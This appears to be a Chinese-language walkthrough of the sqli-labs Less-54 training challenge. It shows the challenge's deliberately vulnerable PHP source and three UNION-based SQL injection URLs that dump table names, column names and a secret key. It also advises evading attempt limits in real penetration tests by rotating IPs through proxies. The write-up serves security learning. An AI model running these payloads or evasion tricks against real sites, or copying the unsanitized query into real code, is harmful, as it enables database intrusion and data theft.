sqli-labs————Less-54(第四部分:提高部分)
前言
在接下來的幾關中將會對前面所學習的內容做一個複習,同時也會通過在複雜環境中的應用來提高注入技巧。
Less-54
原始碼:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head>
<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>
<?php
}
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
</body>
</html>
sql執行語句:
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
從上面的SQL語句,我們可以知曉這一關是一個字元型注入,但是隻能夠嘗試10次。所以我們要在所給的次數範圍之內完成注入。
我們可以看到這裡的表名和密碼等時每10次嘗試之後就會強行更換。
構造一下payload:
http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
得到表名:x8zrbqkd79
之後測試獲取列名:
http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='x8zrbqkd79'--+
檢視列值:
http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(secret_3ZC3) from challenges.x8zrbqkd79 --+
之後提交key即可!
在實際滲透測試中,我們可以利用更換IP(可以用代理)或者更換瀏覽器來繞過伺服器端的檢查限制。對於這個的實現,自己編寫指令碼是一個不錯的選擇。
相關文章
- Android基礎第四天易忘部分Android
- Java面試題及答案【第四部分】Java面試題
- 山東省第四屆acm解題報告(部分)ACM
- XYCTF pwn部分題解 (部分題目詳解)
- 高階函式(軟體編寫)(第四部分)函式
- Linux 探索之旅 | 第四部分測試題Linux
- MySQL 部分整理MySql
- ORACLE 部分HINTOracle
- JavaScript糟粕部分JavaScript
- 雜題部分
- Linux 探索之旅 | 第四部分第四課:分析網路,隔離防火Linux
- Web探索之旅 | 第四部分 : Web程式設計師Web程式設計師
- Web 探索之旅 | 第四部分 : Web 程式設計師Web程式設計師
- 演算法知識梳理(7) 陣列第四部分演算法陣列
- 《圖解設計模式》 第四部分 分開考慮圖解設計模式
- [譯] 提高營銷效率的工程(第一部分)
- java基礎部分Java
- type challenge(easy 部分)
- redis高階部分Redis
- 羊城杯-Cry部分
- 研究大事記(部分)
- Web 探索之旅 | 第二部分第四課:資料庫Web資料庫
- [譯]使用 MODEL-VIEW-INTENT 第四部分 — 獨立 UI 元件ViewIntentUI元件
- Web探索之旅 | 第二部分第四課:資料庫Web資料庫
- [譯] 現代瀏覽器內部揭祕(第四部分)瀏覽器
- .NET Emit 入門教程:第四部分:構建型別(Type)MIT型別
- mysqldump備份單庫、部分庫、全庫、及排除部分庫MySql
- 從實戰專案總結的Ruby小技巧(第四部分)
- 分享JavaScript面試題部分JavaScript面試題
- 面試題整理—CSS部分面試題CSS
- java基礎題(部分)Java
- js 部分學習整理JS
- Git筆記-部分命令Git筆記
- MySQL部分內容整理MySql
- 前端面試(css部分)前端面試CSS
- Python正則部分Python
- guestbook(hackme web部分writeup)Web
- AbstractQueuedSynchronizer部分原始碼解析原始碼